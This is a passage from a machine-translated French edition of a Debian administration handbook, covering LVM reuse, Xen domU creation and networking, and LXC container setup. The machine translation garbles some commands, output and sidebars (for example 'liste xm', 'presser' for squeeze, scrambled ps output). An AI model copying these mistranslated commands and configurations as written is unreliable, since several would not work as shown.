à la reconnaissance du fait que l’avenir est incertain. Lorsque le poste de travail est
assemblé pour la première fois, les besoins exacts de stockage ne sont pas nécessairement
connus avec une parfaite précision ; ils peuvent également évoluer dans le temps. Dans
notre cas, nous ne pouvons pas connaître à l’avance les besoins réels en espace de
stockage pour les rushes vidéo et les clips vidéo complets. Si un clip particulier nécessite
une très grande quantité de rushes et que le VG dédié aux données redondantes est à
moins de la moitié plein, nous pouvons réutiliser une partie de son espace inutile. Nous
pouvons supprimer l'un des volumes physiques, disons md2 de vg_raid et soit l'attribuer
directement à vg_bulk (si la durée prévue de l'opération est suffisamment courte pour que
nous puissions vivre avec la baisse temporaire des performances), soit annuler la
configuration RAID. sur md2 et intégrer ses composants sda6 et sdc6 dans le vrac VG (qui
croît de 200 Go au lieu de 100 Go) ; le volume logique lv_rushes peut ensuite être agrandi
selon les besoins.

Chapitre 12 — Administration avancée 319

Machine Translated by Google

12.2. Virtualisation

La virtualisation est l’une des avancées les plus majeures de ces dernières années dans le domaine informatique.
Le terme couvre diverses abstractions et techniques simulant des ordinateurs virtuels avec un degré variable
d'indépendance par rapport au matériel réel. Un serveur physique peut alors héberger plusieurs systèmes
fonctionnant en même temps et de manière isolée. Les applications sont nombreuses et découlent souvent de
cet isolement : environnements de test avec des configurations variables par exemple, ou séparation des services
hébergés sur différentes machines virtuelles pour des raisons de sécurité.

Il existe plusieurs solutions de virtualisation, chacune ayant ses propres avantages et inconvénients. Ce livre se
concentrera sur Xen, LXC et KVM, mais d'autres implémentations remarquables incluent les suivantes :

• QEMU est un émulateur logiciel pour un ordinateur complet ; les performances sont loin de la vitesse que
l'on pourrait atteindre en mode natif, mais cela permet d'exécuter des systèmes d'exploitation non modifiés
ou expérimentaux sur le matériel émulé. Il permet également d'émuler une architecture matérielle
différente : par exemple, un système i386 peut émuler un ordinateur arm . QEMU est un logiciel libre.

[Link]

• Bochs est une autre machine virtuelle gratuite, mais elle émule uniquement l'architecture i386.

• VMWare est une machine virtuelle propriétaire ; étant l’un des plus anciens, c’est aussi l’un des plus
connus. Il fonctionne sur des principes similaires à QEMU. VMWare propose des fonctionnalités avancées
telles que la capture instantanée d'une machine virtuelle en cours d'exécution.

[Link]

• VirtualBox est une machine virtuelle composée principalement de logiciels libres (bien que certains
composants supplémentaires soient sous licence propriétaire). Bien que plus jeune que VMWare et limité
aux architectures i386 et amd64, il s'avère prometteur ; il permet déjà la prise d'instantanés, par exemple.
VirtualBox fait partie de Debian depuis Lenny.

[Link]

12.2.1. Xen

Xen est une solution de « paravirtualisation ». Il introduit une fine couche d'abstraction, appelée « hyperviseur »,
entre le matériel et les systèmes supérieurs ; cela agit comme un arbitre qui contrôle l'accès au matériel depuis
les machines virtuelles. Cependant, il ne gère que quelques instructions, le reste est directement exécuté par le
matériel pour le compte des systèmes. Le principal avantage est que les performances ne sont pas dégradées
et que les systèmes fonctionnent proche de leur vitesse native ; l'inconvénient est que les noyaux des systèmes
d'exploitation que l'on souhaite utiliser sur un hyperviseur Xen doivent être adaptés à
exécuter sur Xen.

Passons un peu de temps sur les termes. L'hyperviseur est la couche la plus basse, qui s'exécute directement
sur le matériel, même en dessous du noyau. Cet hyperviseur peut diviser le reste du logiciel en plusieurs
domaines, qui peuvent être considérés comme autant de machines virtuelles. L'un de ces domaines (le premier

320 Le manuel de l'administrateur Debian

Machine Translated by Google

qui commence) est connu sous le nom de dom0 et a un rôle particulier, puisque seul ce domaine peut contrôler
l'hyperviseur et l'exécution des autres domaines. Ces autres domaines sont appelés domU. En d’autres
termes, et du point de vue de l’utilisateur, le dom0 correspond à « l’hôte » d’autres systèmes de virtualisation,
tandis qu’un domU peut être considéré comme un « invité ».

CULTURE Xen a été initialement développé comme un ensemble de correctifs issus de l'arborescence officielle
Xen et les différentes versions de et non intégrés au noyau Linux. Dans le même temps, plusieurs systèmes de virtualisation à venir
Linux (dont KVM) nécessitaient des fonctions génériques liées à la virtualisation pour faciliter leur
intégration, et le noyau Linux a acquis cet ensemble de fonctions (connues sous le nom d'interface
paravirt_ops ou pv_ops). Étant donné que les correctifs Xen dupliquaient certaines fonctionnalités de
cette interface, ils ne pouvaient pas être acceptés officiellement.

Xensource, la société derrière Xen, a donc dû porter Xen sur ce nouveau framework, afin que les
correctifs Xen puissent être fusionnés dans le noyau Linux officiel. Cela impliquait beaucoup de
réécriture de code, et bien que Xensource disposait bientôt d'une version fonctionnelle basée sur
l'interface paravirt_ops, les correctifs n'étaient que progressivement fusionnés dans le noyau officiel.
La fusion a été réalisée sous Linux 3.0.

[Link]

Bien que Squeeze soit basé sur la version 2.6.32 du noyau Linux, une version incluant les correctifs
Xen de Xensource est également disponible dans les packages linux­image­2.6­xen­686 et linux­
image­2.6­xen­amd64. Ce correctif spécifique à la distribution signifie que l'ensemble des
fonctionnalités disponibles dépend de la distribution ; des divergences dans les versions du code,
ou même l'intégration de code encore en développement dans certaines distributions signifient
également des différences dans les fonctionnalités prises en charge. Ce problème devrait être
considérablement réduit maintenant que Xen a été officiellement fusionné avec Linux.

[Link]

L'utilisation de Xen sous Debian nécessite trois composants :

NOTE Xen n'est actuellement disponible que pour les architectures i386 et amd64. De plus, il utilise des

Architectures compatibles avec instructions de processeur qui n'ont pas toujours été fournies dans tous les ordinateurs de classe
Xen i386. Notez que la plupart des processeurs de classe Pentium (ou supérieurs) fabriqués après 2001
fonctionneront, cette restriction ne s'appliquera donc pas à de très nombreuses situations.

CULTURE Xen nécessite des modifications sur tous les systèmes d'exploitation que l'on souhaite exécuter ; tous
Noyaux Xen et non­Linux les grains n’ont pas le même niveau de maturité à cet égard. Beaucoup sont entièrement fonctionnels,
à la fois en tant que dom0 et domU : Linux 2.6 (tel que corrigé par Debian) et 3.0, NetBSD 4.0 et
versions ultérieures, et OpenSolaris. D'autres, comme OpenBSD 4.0, FreeBSD 8 et Plan 9,
fonctionnent uniquement en tant que domU.

Cependant, si Xen peut s'appuyer sur des fonctions matérielles dédiées à la virtualisation (qui ne
sont présentes que dans les processeurs les plus récents), même les systèmes d'exploitation non
modifiés peuvent fonctionner en domU (y compris Windows).

Chapitre 12 — Administration avancée 321

Machine Translated by Google

• L'hyperviseur lui­même. Selon le matériel disponible, le package approprié sera soit xen­hypervisor­4.0­i386 , soit
xen­hypervisor­4.0­amd64.

• Un noyau avec les correctifs appropriés lui permettant de fonctionner sur cet hyperviseur. Dans le cas 2.6.32
pertinent pour Squeeze, le matériel disponible dictera le choix parmi les différents packages xen­linux­
system­2.6.32­5­xen­* disponibles .

• L'architecture i386 nécessite également une bibliothèque standard avec les correctifs appropriés prenant en charge
avantage de Xen ; c'est dans le paquet libc6­xen .

Afin d'éviter les tracas liés à la sélection manuelle de ces composants, quelques packages pratiques (tels que xen­linux­
system­2.6.32­5­xen­686 et variantes) ont été mis à disposition ; ils intègrent tous une combinaison connue des packages
d'hyperviseur et de noyau appropriés. L'hyperviseur apporte également xen­utils­4.0, qui contient des outils pour contrôler
l'hyperviseur depuis le dom0. Cela apporte à son tour la bibliothèque standard appropriée. Lors de l'installation de tout ça,
les scripts de configuration créent également une nouvelle entrée dans le menu du bootloader Grub, de manière à
démarrer le noyau choisi dans un Xen dom0. Notez cependant que cette entrée n'est généralement pas définie comme
étant la première de la liste et ne sera donc pas sélectionnée par défaut. Si ce n'est pas le comportement souhaité, les
commandes suivantes le modifieront :

# mv /etc/grub.d/20_linux_xen /etc/grub.d/09_linux_xen # update­grub

Une fois ces prérequis installés, l’étape suivante consiste à tester le comportement du dom0 par lui­même ; cela implique
un redémarrage de l'hyperviseur et du noyau Xen. Le système devrait démarrer de manière standard, avec quelques
messages supplémentaires sur la console lors des premières étapes d'initialisation.

Il est maintenant temps d'installer réellement des systèmes utiles sur les systèmes domU, en utilisant les outils de xen­
tools. Ce package fournit la commande xen­create­image , qui automatise largement la tâche. Le seul paramètre obligatoire
est ­­hostname, donnant un nom au domU ; d'autres options sont importantes, mais elles peuvent être stockées dans le
fichier de configuration /etc/xen­tools/xen­[Link] , et leur absence dans la ligne de commande ne déclenche pas
d'erreur. Il est donc important soit de vérifier le contenu de ce fichier avant de créer des images, soit d'utiliser des
paramètres supplémentaires dans l' invocation xen­create­image . Les paramètres importants à noter sont les suivants :

• ­­memory, pour spécifier la quantité de RAM dédiée au système nouvellement créé ;

• ­­size et ­­swap, pour définir la taille des « disques virtuels » disponibles pour le domU ;

• ­­debootstrap, pour que le nouveau système soit installé avec debootstrap ; dans ce cas, l' option ­­dist sera aussi
le plus souvent utilisée (avec un nom de distribution tel que squeeze).

ALLER PLUS LOIN Si l'image Xen n'est pas destinée à exécuter Debian mais un autre système,
Installer un système non­ une autre option potentiellement intéressante est ­­rpmstrap, pour invoquer
Debian dans un domU rpmstrap afin d'initialiser un nouveau système basé sur RPM (tel que Fedora, CentOS).

322 Le manuel de l'administrateur Debian

Machine Translated by Google

ou Mandriva). D'autres méthodes incluent ­­copy, pour copier une image à partir d'un
système existant, et ­­tar, pour extraire l'image système d'une archive.
Dans le cas d'un système non­Linux, il faut veiller à définir le noyau
le domU doit utiliser, en utilisant l'option ­­kernel.

• ­­dhcp indique que la configuration réseau du domU doit être obtenue par DHCP pendant que
­­ip permet de définir une adresse IP statique.

• Enfin, il faut choisir un mode de stockage pour les images à créer (celles qui seront
considérés comme des disques durs du domU). La méthode la plus simple, correspondant au ­­
dir , consiste à créer un fichier sur le dom0 pour chaque périphérique que le domU doit être fourni.
Pour les systèmes utilisant LVM, l'alternative consiste à utiliser l' option ­­lvm , suivie du nom
d'un groupe de volumes ; xen­create­image créera alors un nouveau volume logique à l'intérieur de celui­ci
groupe, et ce volume logique sera mis à disposition du domU en tant que disque dur.

NOTE Des disques durs entiers peuvent également être exportés vers le domU, ainsi que
Stockage dans le domU des partitions, des matrices RAID ou des volumes logiques LVM préexistants. Ces
opérations ne sont cependant pas automatisées par xen­create­image, donc l'édition du
Le fichier de configuration de l'image Xen est en ordre après sa création initiale avec
xen­créer­image.

Une fois ces choix faits, nous pouvons créer l’image de notre futur Xen domU :

# xen­create­image ­­hostname=testxen

Informations générales
­­­­­­­­­­­­­­­­­­­­

Nom d'hôte : testxen

Distribution : presser
Miroir : [Link]
Cloisons : échanger / 128 Mo (échange)
4 Go (ext3)
Type d'image : clairsemé
Taille de la : 128Mo

mémoire Chemin : /boot/vmlinuz­2.6.32­5­xen­686

du noyau Chemin : /boot/[Link]­2.6.32­5­xen­686
d'initialisation [...]
Fichier journal produit à :
/var/log/xen­tools/[Link]

Résumé de l'installation
­­­­­­­­­­­­­­­­­­­­­

Nom d'hôte : testxen

Distribution : presser
Adresse(s) IP : dynamique

Chapitre 12 — Administration avancée 323

Machine Translated by Google

Empreinte digitale RSA : [Link]

Mot de passe racine : 52emxRmM

Nous disposons désormais d'une machine virtuelle, mais elle ne fonctionne pas actuellement (et n'utilise donc que de l'espace sur
le disque dur du dom0). Bien entendu, nous pouvons créer davantage d’images, éventuellement avec des paramètres différents.
eters.

Avant d'activer ces machines virtuelles, nous devons définir comment elles seront accessibles. Elles peuvent bien
sûr être considérées comme des machines isolées, accessibles uniquement via leur console système, mais cela
correspond rarement au modèle d'utilisation. La plupart du temps, un domU sera considéré comme un serveur
distant, accessible uniquement via un réseau. Cependant, il serait assez gênant d'ajouter une carte réseau pour
chaque domU ; c'est pourquoi Xen permet de créer des interfaces virtuelles, que chaque domaine peut voir et utiliser
de manière standard. A noter que ces cartes, même si elles sont virtuelles, ne seront utiles qu'une fois connectées
à un réseau, même virtuel. Xen propose plusieurs modèles de réseau pour cela :

• Le modèle le plus simple est le modèle du pont ; toutes les cartes réseau eth0 (tant dans les systèmes dom0
que domU) se comportent comme si elles étaient directement branchées sur un commutateur Ethernet.

• Vient ensuite le mode de routage , dans lequel le dom0 se comporte comme un routeur situé entre les
systèmes domU et le réseau externe (physique).

• Enfin, en mode NAT , le dom0 se trouve à nouveau entre les systèmes domU et le reste du réseau, mais les
systèmes domU ne sont pas directement accessibles de l'extérieur et le trafic passe par une traduction
d'adresse réseau sur le dom0.

Ces trois nœuds de réseau impliquent un certain nombre d'interfaces aux noms inhabituels, tels que vif*, veth*, peth* et
xenbr0. L'hyperviseur Xen les organise selon la disposition définie, sous le contrôle des outils de l'espace utilisateur. Les
modes NAT et routage n’étant adaptés qu’à des cas particuliers, nous n’aborderons que le modèle de pontage.

La configuration standard des packages Xen ne modifie pas la configuration réseau à l'échelle du système.
Cependant, le démon xend est configuré pour intégrer des interfaces réseau virtuelles dans tout pont réseau
préexistant ( xenbr0 étant prioritaire si plusieurs de ces ponts existent).
Il faut donc mettre en place un pont dans /etc/network/interfaces (ce qui nécessite l'installation du package bridge­
utils , c'est pourquoi le xen­utils­4.0 le recommande) pour remplacer l'entrée eth0 existante :

xenbr0 automatique

iface xenbr0 inet dhcp bridge_ports

eth0 bridge_maxwait 0

Après avoir redémarré pour s'assurer que le pont est automatiquement créé, on peut maintenant démarrer le domU
avec les outils de contrôle Xen, notamment la commande xm . Cette commande permet différentes manipulations
sur les domaines, notamment leur listage et leur démarrage/arrêt.

324 Le manuel de l'administrateur Debian

Machine Translated by Google

# liste xm
Nom ID Mem VCPU État Heure(s)
Domaine­0 0 940 1 r­­­­­ 3896,9
# xm crée [Link]
Utilisation du fichier de configuration "/etc/xen/[Link]".
Domaine démarré testxen (id=1)
# liste xm
Nom ID Mem VCPU État Heure(s)
Domaine­0 0 873 1 r­­­­­ 3917.1
testxen 1 128 1 ­b­­­­ 3.7

PRUDENCE S'il est bien entendu possible de faire fonctionner plusieurs systèmes domU en parallèle,

Un seul domU par image ! ils devront tous utiliser leur propre image, puisque chaque domU est amené à y croire
fonctionne sur son propre matériel (à part la petite tranche du noyau qui communique avec
l'hyperviseur). En particulier, il n'est pas possible que deux systèmes domU exécutent
simultanément pour partager l’espace de stockage. Si les systèmes domU ne fonctionnent pas à
en même temps, il est cependant tout à fait possible de réutiliser une seule partition de swap, ou
la partition hébergeant le système de fichiers /home .

Notez que le testxen domU utilise de la mémoire réelle extraite de la RAM qui serait autrement
disponible pour le dom0, pas de mémoire simulée. Il convient donc d'être prudent lors de la construction d'un
serveur destiné à héberger les instances Xen, pour provisionner la RAM physique en conséquence.

Voilà ! Notre machine virtuelle démarre. Nous pouvons y accéder dans l’un des deux modes suivants. La manière habituelle
est de s'y connecter « à distance » via le réseau, comme on se connecterait à une vraie machine ;
cela nécessitera généralement la configuration d'un serveur DHCP ou d'une configuration DNS. L'autre

méthode, qui peut être la seule si la configuration du réseau était incorrecte, consiste à utiliser le hvc0
console, avec la commande xm console :

# test de la console xm
[...]
Démarrage de syslogd amélioré : rsyslogd.
Démarrage du planificateur de commandes périodiques : cron.
Démarrage du serveur OpenBSD Secure Shell : sshd.

Debian GNU/Linux 6.0 testxen hvc0

Connexion testxen :

On peut alors ouvrir une session, comme on le ferait si on était assis devant le clavier de la machine virtuelle.
Le détachement de cette console s'effectue grâce à la combinaison de touches Control+].

Chapitre 12 — Administration avancée 325

Machine Translated by Google

CONSEIL
Parfois, on souhaite démarrer un système domU et accéder immédiatement à sa
Rendre la console droite console ; c'est pourquoi la commande xm create prend un commutateur ­c. Démarrer un
loin domU avec ce commutateur affichera tous les messages au démarrage du système.

OUTIL ConVirt (dans le package convirt, anciennement XenMan) est une interface graphique
ConVirt permettant de contrôler les domaines Xen installés sur une machine. Il fournit la plupart des
fonctionnalités de la commande xm .

Une fois que domU est opérationnel, il peut être utilisé comme n'importe quel autre serveur (puisqu'il s'agit après
tout d'un système GNU/Linux). Cependant, son statut de machine virtuelle permet quelques fonctionnalités
supplémentaires. Par exemple, un domU peut être temporairement mis en pause puis repris, avec les
commandes xm pause et xm unpause . Notez que même si un domU en pause n'utilise aucune puissance
processeur, la mémoire qui lui est allouée est toujours utilisée. Il peut être intéressant de considérer les
commandes xm save et xm restaurer : sauvegarder un domU libère les ressources qui étaient auparavant
utilisées par ce domU, y compris la RAM. Lorsqu'il est restauré (ou remis en pause, d'ailleurs), un domU ne
remarque même rien au­delà du passage du temps. Si un domU était en cours d'exécution lorsque le dom0 est
arrêté, les scripts packagés enregistrent automatiquement le domU et le restaurent au prochain démarrage. Cela
impliquera bien sûr les désagréments habituels encourus lors de la mise en veille prolongée d'un ordinateur
portable, par exemple ; en particulier, si le domU est suspendu trop longtemps, les connexions réseau peuvent
expirer. Notons également que Xen est pour l'instant incompatible avec une grande partie de la gestion de
l'alimentation ACPI, ce qui interdit de suspendre le système hôte (dom0).

DOCUMENTATION La plupart des sous­commandes xm attendent un ou plusieurs arguments, souvent un

options XM nom domU. Ces arguments sont bien décrits dans la page de manuel xm(1).

L'arrêt ou le redémarrage d'un domU peut être effectué soit depuis le domU (avec la commande shutdown ), soit
depuis le dom0, avec xm shutdown ou xm reboot.

ALLER PLUS LOIN Xen possède bien plus de fonctionnalités que ce que nous pouvons décrire dans ces quelques paragraphes.
Xen avancé En particulier, le système est très dynamique et de nombreux paramètres pour un
domaine (tels que la quantité de mémoire allouée, les disques durs visibles, le
comportement du planificateur de tâches, etc.) peuvent être ajustés même lorsque ce
domaine est en cours d'exécution. Un domU peut même être migré entre serveurs sans
être arrêté et sans perdre ses connexions réseau ! Pour tous ces aspects avancés, la
principale source d’informations est la documentation officielle de Xen.
[Link]

12.2.2. LXC

Même s'il est utilisé pour construire des « machines virtuelles », LXC n'est pas à proprement parler un système
de virtualisation, mais un système permettant d'isoler des groupes de processus les uns des autres même s'ils
s'exécutent tous sur le même hôte. Il profite d'un ensemble d'évolutions récentes du noyau Linux, collectivement

326 Le manuel de l'administrateur Debian

Machine Translated by Google

appelés groupes de contrôle, par lesquels différents ensembles de processus appelés « groupes » ont des points de vue différents
de certains aspects du système global. Parmi ces aspects, les plus remarquables sont les identifiants de processus, la configuration
du réseau et les points de montage. Un tel groupe de processus isolés
n'a aucun accès aux autres processus du système, et ses accès au système de fichiers peuvent
être limité à un sous­ensemble spécifique. Il peut également disposer de sa propre interface réseau et de sa propre table de routage,
et il peut être configuré pour voir uniquement un sous­ensemble des périphériques disponibles présents sur le système.

Ces fonctionnalités peuvent être combinées pour isoler toute une famille de processus à partir du processus init ,
et l'ensemble résultant ressemble beaucoup à une machine virtuelle. Le nom officiel d'une telle configuration est
un « conteneur » (d'où le surnom LXC : LinuX Containers), mais une différence assez importante avec
Les « vraies » machines virtuelles telles que celles fournies par Xen ou KVM sont qu'il n'y a pas de deuxième noyau ; le
Le conteneur utilise le même noyau que le système hôte. Cela présente à la fois des avantages et des inconvénients : avantages
inclure l'absence totale de frais généraux et donc de coûts de performance, et le fait que le noyau
a une vision globale de tous les processus en cours d'exécution sur le système, la planification peut donc être plus
efficace qu'il ne le serait si deux noyaux indépendants planifiaient des ensembles de tâches différents. Chef
parmi les inconvénients, il y a l'impossibilité d'exécuter un noyau différent dans un conteneur (que ce soit
une version Linux différente ou un système d'exploitation complètement différent).

NOTE Les conteneurs LXC n'offrent pas le niveau d'isolation atteint par les émulateurs ou virtualiseurs
Limites d'isolement LXC plus lourds. En particulier:

• le noyau standard Squeeze ne permet pas de limiter la quantité de mémoire disponible pour
un conteneur ; cette fonctionnalité existe et peut être activée par
reconstruire le noyau avec l'option Memory Resource Controller, mais
il est encore considéré comme quelque peu expérimental et a un (léger) coût
sur les performances globales du système, c'est pourquoi il est désactivé par défaut ;

• puisque le noyau est partagé entre le système hôte et les conteneurs,

les processus contraints aux conteneurs peuvent toujours accéder aux messages du noyau,
ce qui peut conduire à des fuites d'informations si des messages sont émis par un
conteneur ;

• pour des raisons similaires, si un conteneur est compromis et qu'une vulnérabilité du noyau
est exploitée, les autres conteneurs peuvent également être affectés ;

• sur le système de fichiers, le noyau vérifie les autorisations en fonction des identifiants
numériques des utilisateurs et des groupes ; ces identifiants peuvent désigner
différents utilisateurs et groupes en fonction du conteneur, qui doit être
garder à l'esprit si les parties accessibles en écriture du système de fichiers sont partagées entre les
conteneurs.

Puisqu'il s'agit d'isolation et non de simple virtualisation, la configuration de conteneurs LXC est plus simple.
complexe que de simplement exécuter l’installateur Debian sur une machine virtuelle. Nous décrirons quelques prérequis, puis
passerons à la configuration du réseau ; nous pourrons alors réellement créer le système
à exécuter dans le conteneur.

[Link]. Étapes préliminaires

Le package lxc contient les outils requis pour exécuter LXC et doit donc être installé.

Chapitre 12 — Administration avancée 327

Machine Translated by Google

LXC nécessite également que le système de configuration des groupes de contrôle , qui est un système de fichiers virtuel, soit
monté sur /sys/fs/cgroup. Le fichier /etc/fstab doit donc inclure l'entrée suivante :

# /etc/fstab : informations statiques sur le système de fichiers.

[...]
groupe de contrôle /sys/fs/cgroup groupe de contrôle valeurs par défaut 0 0

/sys/fs/cgroup sera alors monté automatiquement au moment du démarrage ; si aucun redémarrage immédiat n'est
prévu, le système de fichiers doit être monté manuellement avec mount /sys/fs/cgroup.

[Link]. Configuration du réseau

Le but de l'installation de LXC est de configurer des machines virtuelles ; alors qu'on pourrait bien sûr les garder
isolés du réseau et communiquent avec eux uniquement via le système de fichiers, la plupart des cas d'utilisation
impliquent de donner au moins un accès réseau minimal aux conteneurs. Dans le cas typique, chaque conteneur
recevra une interface réseau virtuelle, connectée au réseau réel via un pont. Ce
L'interface virtuelle peut être branchée soit directement sur l'interface réseau physique de l'hôte (en
auquel cas le conteneur est directement sur le réseau), ou sur une autre interface virtuelle définie
sur l'hôte (et l'hôte peut alors filtrer ou acheminer le trafic). Dans les deux cas, le package bridge­utils
sera requis.

Le cas simple consiste simplement à éditer /etc/network/interfaces, à déplacer la configuration de l'interface

physique (par exemple eth0) vers une interface de pont (généralement br0) et à configurer le lien entre elles. Par
exemple, si le fichier de configuration de l'interface réseau initialement
contient des entrées telles que les suivantes :

eth0 automatique

iface eth0 inet DHCP

Ils doivent être désactivés et remplacés par les éléments suivants :

#auto eth0
#iface eth0 inet DHCP

automatique br0

iface br0 inet DHCP

ports de pont eth0

L'effet de cette configuration sera similaire à celui qui serait obtenu si les conteneurs
étaient des machines branchées sur le même réseau physique que l’hôte. La configuration « pont » réalise les
trames Ethernet sur toutes les interfaces pontées, ce qui inclut l' eth0 physique.
ainsi que les interfaces définies pour les conteneurs.

Dans les cas où cette configuration ne peut pas être utilisée (par exemple si aucune adresse IP publique ne peut
être attribuée aux conteneurs), une interface virtuelle sera créée et connectée au pont. Le
la topologie réseau équivalente devient alors celle d'un hôte avec une deuxième carte réseau branchée

328 Le manuel de l'administrateur Debian

Machine Translated by Google

dans un interrupteur séparé, les conteneurs étant également branchés sur cet interrupteur. L'hôte doit alors servir
de passerelle pour les conteneurs s'ils sont destinés à communiquer avec le monde extérieur.

En plus de bridge­utils, cette configuration « riche » nécessite le package vde2 ; le fichier /etc/network/interfaces
devient alors :

# L'interface eth0 est inchangée auto eth0

iface eth0 inet DHCP

# Interface virtuelle

auto tap0 iface

tap0 inet manuel vde2­switch ­t tap0

# Pont pour conteneurs auto br0

iface br0 inet statique

adresse tap0 des ports de

pont [Link]
masque de réseau [Link]

Le réseau peut ensuite être configuré soit de manière statique dans les conteneurs, soit de manière dynamique
avec un serveur DHCP exécuté sur l'hôte. Un tel serveur DHCP devra être configuré pour répondre aux requêtes
sur l' interface br0 .

[Link]. Configuration du système

Configurons maintenant le système de fichiers qui sera utilisé par le conteneur. Étant donné que cette « machine
virtuelle » ne fonctionnera pas directement sur le matériel, quelques ajustements sont nécessaires par rapport à
un système de fichiers standard, notamment en ce qui concerne le noyau, les périphériques et les consoles.
Heureusement, lxc inclut des scripts qui automatisent principalement cette configuration. Par exemple, les
commandes suivantes (qui nécessitent le package debootstrap ) installeront un conteneur Debian :

root@scouzmir:~# mkdir /var/lib/lxc/testlxc/ root@scouzmir:~# /usr/lib/

lxc/templates/lxc­debian ­p /var/lib/lxc/testlxc/ debootstrap est /usr/ sbin/debootstrap Vérification du téléchargement du
cache dans /var/cache/lxc/debian/rootfs­i386 ...

Téléchargement de Debian minimal...

I : Récupération de la version I :
Récupération des packages [...]

Suppression de tous les liens de démarrage du système pour /etc/init.d/[Link] ... /etc/rcS.d/
[Link] Le mot de passe root est
'root', veuillez le changer !

Chapitre 12 — Administration avancée 329

Machine Translated by Google

root@scouzmir:~#

Notez que le système de fichiers est initialement créé dans /var/cache/lxc, puis déplacé vers son répertoire de
destination. Cela permet de créer des conteneurs identiques beaucoup plus rapidement, puisque seule la copie
est alors nécessaire.

Notez également que la commande lxc­debian telle que livrée dans Squeeze crée malheureusement un système
Lenny , et non un système Squeeze comme on pourrait s'y attendre. Ce problème peut être contourné en installant
simplement une version plus récente du package (à partir de 0.7.3­1).

Le système de fichiers nouvellement créé contient désormais un système Debian minimal, adapté à la
configuration réseau « simple » mentionnée ci­dessus. Dans la configuration « riche », le fichier /var/lib/lxc/testlxc/
rootfs/etc/network/interfaces nécessitera quelques modifications ; Mais le plus important est que l'interface réseau
que voit le conteneur ne doit pas être l'interface physique de l'hôte. Cela peut être configuré en ajoutant quelques
entrées [Link].* au fichier de configuration du conteneur, /var/lib/lxc/testlxc/config :

[Link] = veth
[Link] = up [Link]
= br0
[Link] = [Link]

Ces entrées signifient respectivement qu'une interface virtuelle sera créée dans le conteneur ; qu'il sera
automatiquement affiché au démarrage dudit conteneur ; qu'il sera automatiquement connecté au pont br0 sur
l'hôte ; et que son adresse MAC sera telle que spécifiée. Si cette dernière entrée est manquante ou désactivée,
une adresse MAC aléatoire sera générée.

[Link]. Démarrage du conteneur

Maintenant que notre image de machine virtuelle est prête, démarrons le conteneur :
root@scouzmir:~# lxc­start ­­name=testlxc INIT : démarrage de la
version 2.86 Activation du swap... terminé.

Nettoyage ifupdown....
Vérification des systèmes de fichiers... fsck 1.41.3 (12 octobre 2008) terminée.

Définition des variables du noyau (/etc/[Link])... terminé.

Montage des systèmes de fichiers locaux... terminé.
Activation du swapfile swap... terminé.
Mise en place d'un réseau....
Configuration des interfaces réseau... Client DHCP de l'Internet Systems Consortium V3.1.1 Copyright 2004­2008 Internet
Systems Consortium.
Tous droits réservés.
Pour plus d'informations, veuillez visiter [Link]

Écoute sur LPF/eth0/[Link] Envoi sur LPF/eth0/[Link]

Envoi sur Socket/repli DHCPDISCOVER sur eth0 vers [Link]
port 67 intervalle 4 DHCPOFFER de [Link]
DHCPREQUEST sur eth0 au port [Link] 67 DHCPACK de [Link] lié à [Link] ­
renouvellement en 1392 secondes.

330 Le manuel de l'administrateur Debian

Machine Translated by Google

fait.
INIT : entrée du niveau d'exécution : 3
Démarrage du serveur OpenBSD Secure Shell : sshd.

Console Debian GNU/Linux 5.0 Scouzmir

connexion à Scouzmir : root

Mot de passe:
Linux Scouzmir 2.6.32­5­686 #1 SMP mar. 8 mars [Link] UTC 2011 i686

Les programmes inclus avec le système Debian GNU/Linux sont des logiciels libres ;
les modalités exactes de distribution de chaque programme sont décrites dans le
fichiers individuels dans /usr/share/doc/*/copyright.

Debian GNU/Linux n'offre ABSOLUMENT AUCUNE GARANTIE, dans la mesure où

permis par la loi applicable.
Scouzmir : ~# ps auxwf
UTILISATEUR PID %CPU %MEM racine VSZ RSS TTY COMMANDE HEURE DE DÉBUT STAT
racine 1 0,0 0,2 1984 680 ? 197 0,0 0,1 2064 SS 08:44 0:00 initialisation [3]
364 ? SS 08:44 0:00 dhclient3 ­pf /var/run/dhclient.
[Link] ­lf /var/lib/dhcp3/dhclien
racine 286 0,1 0,4 2496 1256 console SS 08:44 0:00 /bin/login ­­
racine 291 0,7 0,5 2768 1504 console S 08:46 0:00 \_ ­bash
288 296 0,0 0,3 2300 876 console R+ 08:46 0:00 racine 287 0,0 0,2 1652 560 tty1 racine racine \_ps auxwf
0,0. 2
0,0 0,2 1652 560 tty2 racine 289 0,0 0,2 1652 556 tty3 racine 290 Ss+ 08:44 0:00 /sbin/getty 38400 tty1 linux
1652 560 tty4 scuzmir:~# Ss+ 08:44 0:00 /sbin/getty 38400 tty2 linux
Ss+ 08:44 0:00 /sbin/getty 38400 tty3 linux
Ss+ 08:44 0:00 /sbin/getty 38400 tty4 linux

Nous sommes maintenant dans le conteneur ; notre accès aux processus est limité à ceux démarrés à partir de
le conteneur lui­même, et notre accès au système de fichiers est également limité au sous­ensemble dédié du système de
fichiers complet (/var/lib/lxc/testlxc/rootfs), dans lequel le mot de passe de root est initialement
défini sur root.

Si nous souhaitons exécuter le conteneur en tant que processus en arrière­plan, nous invoquerions lxc­start avec
l' option ­­daemon . On peut alors interrompre le conteneur avec une commande telle que lxc­kill
­­name=testlxc.
Le package lxc contient un script d'initialisation qui peut démarrer automatiquement un ou plusieurs conteneurs au
démarrage de l'hôte ; son fichier de configuration, /etc/default/lxc, est relativement simple ; notez que les fichiers de
configuration du conteneur doivent être stockés dans /etc/lxc/ ; de nombreux utilisateurs
peut préférer les liens symboliques, tels que ceux qui peuvent être créés avec ln ­s /var/lib/lxc/testlxc/config
/etc/lxc/[Link].

ALLER PLUS LOIN LXC étant un système d'isolation très léger, il peut être particulièrement adapté
Virtualisation de masse à l'hébergement massif de serveurs virtuels. La configuration du réseau sera probablement
être un peu plus avancé que ce que nous avons décrit ci­dessus, mais la configuration « riche »
utilisant les interfaces tap et veth devrait suffire dans de nombreux cas.

Il peut également être judicieux de partager une partie du système de fichiers, comme /usr et
/lib , afin d'éviter de dupliquer les logiciels qui pourraient devoir être
commun à plusieurs conteneurs. Ceci sera généralement réalisé avec [Link].
entrées d'entrée dans le fichier de configuration des conteneurs. Un effet secondaire intéressant
est que les processus utiliseront alors moins de mémoire physique, puisque le noyau est
capable de détecter que les programmes sont partagés. Le coût marginal d'un supplément
le conteneur peut alors être réduit à l'espace disque dédié à ses données spécifiques,
et quelques processus supplémentaires que le noyau doit planifier et gérer.

Chapitre 12 — Administration avancée 331

Machine Translated by Google

